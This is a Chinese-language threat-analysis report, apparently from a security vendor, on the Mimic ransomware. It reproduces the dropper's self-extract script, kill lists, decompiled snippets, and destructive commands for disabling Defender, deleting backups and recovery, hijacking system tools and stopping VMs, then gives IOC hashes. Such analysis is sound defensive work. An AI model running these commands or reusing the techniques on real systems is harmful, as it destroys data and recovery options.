Mimic勒索软件分析

概述

Mimic勒索,最早发现于2022年6月,其特点是利用了合法的文件搜索工具Everything提供的API,通过Everything32.dll中的函数可以实现文件快速检索,获得指定后缀格式文件的路径,从而大大提高文件加密的效率。Mimic勒索中还使用了泄露的Conti勒索软件代码实现访问共享与端口扫描,使用CryptoPP库提供的加密算法。不仅如此,Mimic勒索开发者添加了许多额外的功能来保证顺利完成加密。

样本分析

字段 内容
原始文件名 Mimic.exe
文件大小 2.52 MB
文件 MD5 B4448CEDDD85EC0F061F53AB1A977B5E
文件类型 Win32.EXE
病毒名 Trojan.HiddenRun/SFX!1.EEED
主要功能 释放7za以及everything可执行文件,并且使用密码进一步解压缩关键的Mimic勒索软件

初始文件是一个7zip自解压的可执行程序,将在运行后释放其他文件。

image

图:初始样本为EXE的自解压文件

被释放的文件如下,其中Everything64.dll仍然是一个压缩包,通过7za.exe解压缩进一步释放勒索病毒文件,但Everything64.dll存在解压密码,在自解压的过程中将会自动传入解压密码。

image

图:释放的文件内容

自解压脚本内容如下:

;!@Install@!UTF-8!
RunProgram="hidcon:7za.exe i "
RunProgram="hidcon:7za.exe x -y -p3168920970217226645 Everything64.dll"
RunProgram="hidcon:TEQ2.exe %SfxVarCmdLine0%"
GUIFlags="2+512+8192"
MiscFlags="1+2+16"
GUIMode="2"
SelfDelete="1"
;!@InstallEnd@!

通过释放文件执行的关系可以展示如下

image

字段 内容
原始文件名 Crypt.exe
文件大小 2.10 MB
文件 MD5 7CA770CC5F649256A18623245348F39F
文件类型 Win32.EXE
病毒名 Ransom.Mimic!1.EEEC
主要功能 运行DC.exe关闭WindowsDefender,使用xdel.exe进行自删除,加载Everything32.dll,加密文件。

运行参数

encrypt.exe接受一组命令行参数

命令行参数 接受的输入值 功能
-dir  指定要加密文件路径 加密路径下的文件
-e ul1或ul2 遍历活动的进程创建共享内存,并解除所有进程的文件占用。
-prot 保护勒索软件不被杀掉
-pid 进程的标识符 指定勒索软件运行的进程标识符

配置文件信息

通过初始字符串解密,获得勒索软件的完整配置信息:

排除的文件扩展名
Ext.exclude:
ut;386;adv;ani;ape;apk;app;asf;assets;bat;bik;bin;cab;cas;cat;cfg;chm;cmd;com;cpl;cur;dds;deskthemepack;diagcab;diagcfg;diagpkg;dll;dmp;drv;dsf;epub;exe;fnt;fon;gadget;gif;hlp;hta;htm;html;ico;ics;idx;inf;info;ini;ipch;iso;jar;js;json;lib;log;manifest;mid;mod;msc;msi;msp;msstyles;msu;mui;mxf;nls;nomedia;ocx;otf;pak;pdb;pif;ps1;py;pyo;rc;reg;resource;ress;rgss3a;rm;rmvb;rom;rpa;rpgmvo;rpgmvp;rpy;rpyc;rtf;rtp;rvdata2;scr;sfcache;shs;snd;so;swf;sys;tak;theme;themepack;tiger;tmp;torrent;ts;ttc;ttf;h;cpp;unity3d;usm;vbs;vob;vsix;wad;wav;winmd;woff;wpx;wv;xex;xml

排除的文件名
Files exclude:
restore-my-files.txt;boot.ini;bootfont.bin;desktop.ini;iconcache.db;io.sys;ntdetect.com;ntldr;ntuser.dat;ntuser.ini;thumbs.db.g;dll;dmp;drv;

排除的文件目录
Dirs exclude:
steamapps;Cache;Boot;Chrome;Firefox;Mozilla;Mozilla Firefox;MicrosoftEdge;Internet Explorer;Tor Browser;Opera;Opera Software;Common Files;Config.Msi;Intel;Microsoft;Microsoft Shared;Microsoft.NET;MSBuild;MSOCache;Packages;PerfLogs;Program Files;Program Files (x86);ProgramData;System Volume Information;tmp;Temp;USOShared;Windows;Windows Defender;Windows Journal;Windows NT;Windows Photo Viewer;Windows Security;Windows.old;WindowsApps;WindowsPowerShell;WINNT;$RECYCLE.BIN;$WINDOWS.~BT;$Windows.~WS;:\Users\Public\;:\Users\Default\

终止的进程:
agntsvc;AutodeskDesktopApp;axlbridge;bedbh;benetns;bengien;beserver;CoreSync;CreativeCloud;dbeng50;dbsnmp;encsvc;EnterpriseClient;fbguard;fbserver;fdhost;fdlauncher;httpd;isqlplussvc;msaccess;MsDtSrvr;msftesql;mspub;mydesktopqos;mydesktopservice;mysqld;mysqld-nt;mysqld-opt;ocautoupds;ocomm;ocssd;oracle;pvlsvr;node;java;python;wpython;QBDBMgr;QBDBMgrN;QBIDPService;qbupdate;QBW32;QBW64;Raccine;Raccine_x86;RaccineElevatedCfg;RaccineSettings;VeeamDeploymentSvc;RAgui;raw_agent_svc;SimplyConnectionManager;sqbcoreservice;sql;sqlagent;sqlbrowser;sqlmangr;sqlservr;sqlwriter;Ssms;Sysmon;Sysmon64;tbirdconfig;TeamViewer;TeamViewer_Service;tv_w32;tv_x64;tomcat6;vsnapvss;vxmon;wdswfsafe;wsa_service;wxServer;wxServerView;xfssvccon.lplussvc;msaccess;MsDtSrvr;msftesql;mspub;mydesktopqos;mydesktopservice;mysqld;mysqld-nt;mysqld-opt;ocautoupds;ocomm;ocssd;oracle;pvlsvr;node;java;python;wpython;QBDBMgr;QBDBMgrN;QBIDPService;qbupdate;QBW32;QBW64;Raccine;Raccine_x86;RaccineElevatedCfg;RaccineSettings;VeeamDeploymentSvc;RAgui;raw_agy causG

终止的服务:
AcronisAgent;ARSM;backup;BackupExecAgentAccelerator;BackupExecAgentBrowser;BackupExecDiveciMediaService;BackupExecJobEngine;BackupExecManagementService;BackupExecRPCService;BackupExecVSSProvider;CAARCUpdateSvc;CASAD2DWebSvc;ccEvtMgr;ccSetMgr;Culserver;dbeng8;dbsrv12;DefWatch;FishbowlMySQL;GxBlr;GxCIMgr;GxCVD;GxFWD;GxVss;memtas;mepocs;msexchange;MSExchange$;msftesql-Exchange;msmdsrv;MSSQL;MSSQL$;MSSQL$KAV_CS_ADMIN_KIT;MSSQL$MICROSOFT##SSEE;MSSQL$MICROSOFT##WID;MSSQL$SBSMONITORING;MSSQL$SHAREPOINT;MSSQL$VEEAMSQL2012;MSSQLFDLauncher$SBSMONITORING;MSSQLFDLauncher$SHAREPOINT;MSSQLServerADHelper100;MVArmor;MVarmor64;svc$;sophos;RTVscan;MySQL57;PDVFSService;QBCFMonitorService;QBFCService;QBIDPService;QBVSS;SavRoam;SQL;SQLADHLP;sqlagent;SQLAgent$KAV_CS_ADMIN_KIT;SQLAgent$SBSMONITORING;SQLAgent$SHAREPOINT;SQLAgent$VEEAMSQL2012;sqlbrowser;Sqlservr;SQLWriter;stc_raw_agent;tomcat6;veeam;VeeamDeploymentService;VeeamNFSSvc;VeeamTransportSvc;vmware-converter;vmware-usbarbitator64;VSNAPVSS;vss;wrapper;WSBExchange;YooBackup;YooIT

使用Conti源码

Mimic使用了一部分被泄露的Conti勒索源码,如传入命令行参数的功能

image

图:Mimic与Conti的命令行参数对比

参数net相关的代码也是基于conti源码实现

image

图:Conti与Mimic的网段扫描对比

使用Conti枚举Windows共享的代码

image

图:Conti和Mimic的访问共享文件夹

使用conti的端口扫描功能

image

图:与Conti端口扫描对比

收集操作系统信息

CPU架构,操作系统类型,操作系统版本,内存大小,账户名称,域和工作组

image

图:收集操作系统信息展示

进程提权

通过AdjustTokenPrivileges调整进程权限。

自启动项

将可执行程序拷贝到%LOCALAPPDATA%目录,随后在注册表路径下创建自启动项。

键:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
值:BLUE

Everything文件搜索

调用EverythingAPI进行搜索和文件加密

  v3 = v2 | (dword_5F22C0 != 0 ? 0x10 : 0);
  print(L"[*] Everything SetSearch...");
  v4 = &dword_5EBDAC;
  if ( dword_5EBDC0 >= 8 )
    v4 = dword_5EBDAC;
  Everything_SetSearchW(v4);
  print(L"[*] Everything SetRequestFlags...");
  Everything_SetRequestFlags(v3);
  if ( v1 )
  {
    print(L"[*] Everything SetSort...");
    Everything_SetSort(14);
  }
  Sleep(0x7D0u);
  print(L"[*] Everything Query...");
  if ( !Everything_QueryW(1) )
  {
    v5 = Everything_GetLastError();
    print(L"[-] Failed to exec Everything query. LastError = %lu.", v5);
    ExitThread(1u);
  }
  ExitThread(0);
}

在启动Everything时,将完全隐藏搜索框和图标。

[Everything]
app_data=0
minimized=1
allow_http_server=0
allow_etp_server=0
alpha=1
show_in_taskbar=0
show_tray_icon=0
auto_include_removable_volumes=1
auto_include_removable_refs_volumes=1
auto_include_fixed_volumes=1
auto_include_removable_volumes=1
auto_remove_offline_ntfs_volumes=1
auto_remove_moved_ntfs_volumes=1
auto_include_fixed_refs_volumes=1
auto_include_removable_refs_volumes=1
auto_remove_offline_refs_volumes=1
auto_remove_moved_refs_volumes=1
find_mount_points_on_removable_volumes=1
scan_volume_drive_letters=1

关闭windowsDefender

调用DC.exe关闭Windows Defender,该工具是sordum团队提供的一款免费关闭Windows Defender的工具,Mimic通过该工具提供的命令行参数静默执行。

cmd.exe /c DC.exe /D

image

终止进程

终止指定进程,加快文件搜索速度

sub_46DF00(0, L"SearchIndexer.exe", 1, 1);
sub_46DF00(0, L"SearchProtocolHost.exe", 1, 1);
sub_46DF00(0, L"SearchApp.exe", 1, 1);
sub_46DF00(0, L"CompatTelRunner.exe", 1, 1);
sub_46DF00(0, L"wsqmcons.exe", 1, 1);

终止特定进程,防止遗漏关键的加密数据

if ( sub_453560(v13, L"sql", 3) != -1 )
  goto LABEL_50;
v15 = v34;
v16 = &v34;
if ( v12 >= 8 )
  v16 = v34;
if ( sub_453560(v16, L"backup", 6) != -1 )
  goto LABEL_50;
v17 = &v34;
if ( v12 >= 8 )
  v17 = v15;
if ( sub_453560(v17, L"database", 8) != -1
  || (v14 = StrStrIW, StrStrIW(&First, L"sql"))
  || StrStrIW(&First, L"backup")
  || StrStrIW(&First, L"database") )

终止服务

终止指定的服务

StopService(L"WSearch", v8);
v216 = v163;
StopService(L"pla", v8);
v216 = v164;
StopService(L"DusmSvc", v8);
v216 = v165;
StopService(L"defragsvc", v8);
v216 = v166;
StopService(L"DoSvc", v8);
v216 = v167;
StopService(L"wercplsupport", v8);
v216 = v168;
StopService(L"SDRSVC", v8);
v216 = v169;
StopService(L"TroubleshootingSvc", v8);
v216 = v170;
StopService(L"Wecsvc", v8);
v216 = v171;
StopService(L"fhsvc", v8);
v216 = v172;
StopService(L"wbengine", v8);
v216 = v173;
StopService(L"PcaSvc", v8);
v216 = v174;
StopService(L"WerSvc", v8);
v216 = v175;
StopService(L"SENS", v8);
v216 = v176;
StopService(L"AppIDSvc", v8);
v216 = v177;
StopService(L"BITS", v8);
v216 = v178;
StopService(L"wuauserv", v8);
v216 = v179;
StopService(L"SysMain", v8);
v216 = v180;
StopService(L"DiagTrack", v8);
v216 = v181;
StopService(L"diagnosticshub.standardcollector.service", v8);
v216 = v182;
StopService(L"dmwappushservice", v8);
v216 = v183;
StopService(L"WMPNetworkSvc", v8);
v216 = v184;
StopService(L"DiagTrack", v8);

自我保护

通过修改注册表劫持系统任务管理器。

键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe
值:Debugger
键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tasklist.exe
值:Debugger
键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe
值:Debugger
键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe
值:Debugger

通过NtSetInformationProcess设置进程的属性为ProcessBreakOnTermination。一旦进程被终止,将会引发蓝屏。

v189 = ld_NtSetInformationProcess;
if ( ld_NtSetInformationProcess )
{
  v216 = 4;
  *Data = 1;
  v215 = Data;
  v214 = 29;
  v190 = GetCurrentProcess();
  v189(v190, v214, v215, v216);
}

防止用户关闭或重启计算机

键:Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
值:shutdownwithoutlogon
键:SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
值:NoClose
键:SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
值:StartMenuLogOff

劫持系统中的指定进程受配置文件影响,被劫持的进程将会指向系统进程systray,进程被执行时将不会导致任何事情发生。

键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\logoff.exe
值:Debugger
键:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shutdown.exe
值:Debugger

删除系统休眠

powercfg.exe -H off

调整电源管理方案,提高系统性能。

powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0
powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0
powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
powercfg.exe -SETDCVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0
powercfg.exe -SETDCVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0
powercfg.exe -SETDCVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
powercfg.exe -SETACVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0
powercfg.exe -SETACVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0
powercfg.exe -SETACVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
powercfg.exe -SETDCVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f929386280 0
powercfg.exe -SETDCVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 96996bc0-ad50-47ec-923b-6f41874dd9eb 0
powercfg.exe -SETDCVALUEINDEX e9a42b02-d5df-448d-aa00-03f14749eb61 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0

调整UAC策略,使得无需弹出提示,并且总是以管理员权限打开程序。

键:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Policies\System
值:ConsentPromptBehaviorAdmin
键:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Policies\System
值:ConsentPromptBehaviorUser
键:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Policies\System
值:EnableLUA

禁用CMD命令行

键:SOFTWARE\MICROSOFT\Windows\CurrentVersion\Policies\System
值:DisableCMD

执行PowerShell代码来停止虚拟机防止加密失败

Get-VM | Stop-VM
Get-VM | Select-Object vmid | Get-VHD | %{Get-DiskImage -ImagePath $_.Path; GetDiskImage -ImagePath $_.ParentPath} | Dismount-DiskImage
Get-Volume | Get-DiskImage | Dismount-DiskImage

清空回收站

通过调用SHEmptyRecycleBinW清空所有磁盘的回收站,防止从回收站恢复文件。

删除卷拷贝

执行以下SQL查询SELECT * FROM Win32_ShadowCopy

通过DeleteInstance方法删除每个卷影副本对象

CoSetProxyBlanket(pProxy, 0xAu, 0, 0, 3u, 3u, 0, 0)

文件加密

遍历磁盘盘符通过SetVolumeMountPointW挂载所有隐藏的分区。

文件加密将创建多个线程,分别对本地磁盘,共享磁盘分别进行文件扫描和加密,通过RSA与AES算法结合使用对文件进行加密。

加密后的文件将在文件原有格式的末尾添加.datenklause0@gmail.com.blue作为标识。

image

生成勒索信

将登录提示标题和文本修改为勒索信,用户登录操作系统时会显示勒索信内容

if ( !RegCreateKeyExW(
        HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System",
        0,
        0,
        0,
        0x20106u,
        0,
        &phkResult,
        1) )
{
  v6 = &lpData;
  if ( v13 >= 8 )
    v6 = lpData;
  RegSetValueExW(phkResult, L"legalnoticetext", 0, 1u, v6, v5);
  RegCloseKey(phkResult);

劫持所有被加密的.blue文件格式,将其指向notepad并打开勒索信。

notepad.exe "C:\Users\Administrator\AppData\Local\IMPORTANT_NOTICE.txt"

勒索信展示如下

image

图:勒索信展示

删除卷影复制数据

bcdedit.exe /set {default} bootstatuspolicy ignore
bcdedit.exe /set {default} recoveryenabled no
wbadmin.exe DELETE SYSTEMSTATEBACKUP
wbadmin.exe delete catalog -quiet

自我删除

使用xdel删除自身

xdel.exe -accepteula -p 1 -c

攻击过程可视化(EDR)

瑞星EDR的威胁调查功能为恶意软件威胁溯源分析提供可视化的应用程序关系图,从任意节点进行溯源梳理攻击过程,定位恶意软件关键行为。结合AI对攻击流程进行精准分析,全方位还原恶意软件的完整攻击链。

image

图:EDR可视化攻击展示

预防措施

  1. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  2. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

image

沦陷信标(IOC)

  • MD5
    7CA770CC5F649256A18623245348F39F
    AC34BA84A5054CD701EFAD5DD14645C9
    B04B206674BAB7A4229F34B6AC511903
    FC8231D24AF5721342E70A9C5BB770C4
    B4448CEDDD85EC0F061F53AB1A977B5E

Author